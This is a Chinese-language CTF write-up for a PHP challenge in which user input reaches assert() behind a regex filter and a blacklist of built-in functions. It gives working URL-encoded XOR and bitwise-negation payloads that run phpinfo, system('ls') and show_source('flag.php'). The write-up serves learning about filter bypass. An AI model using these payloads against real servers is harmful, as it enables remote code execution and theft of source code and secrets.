原题目如下:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

对GET方式传入的名为“code”的参数进行过滤的WAF有两个,首先会使用“preg_match”函数检测参数内容是否满足正则匹配条件,接下来用get_defined_functions过滤所有php内置函数。

php7的新特性如下:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

即使我们输入“system”满足了第一个WAF的通过条件,它属于php的内置函数,也会被第二个WAF拦截。因此,考虑使用异或拼凑出所需要的内容,绕过明面上对传入参数值的检测。

使用php7新的解析方式,构造(phpinfo)();

验证payload如下,执行后成功显示php相关配置信息。:

(%9e%86%9e%87%80%88%81^%ee%ee%ee%ee%ee%ee%ee)()(%d5^%ee)
#(phpinfo)();

接下来构造(system)(ls);列出当前目录下的所有文件。

(%9d%97%9d%b8%8b%83^%ee%ee%ee%cc%ee%ee)(%82%9d^%ee%ee)(%d5^%ee)
#(system)(ls);

得到当前目录下有“flag.php”和“index.php”。考虑是php文件,用show_source函数读取源代码。

(%8c%97%90%88%a0%8c%90%8a%8d%9c%9a^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)(%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff)(%d5^%ee)
#(show_source)(flag.php);

这道题也可以通过取反的方式解决:

<?php
$code = urlencode(~"phpinfo");
echo $code;
//%8F%97%8F%96%91%99%90
?>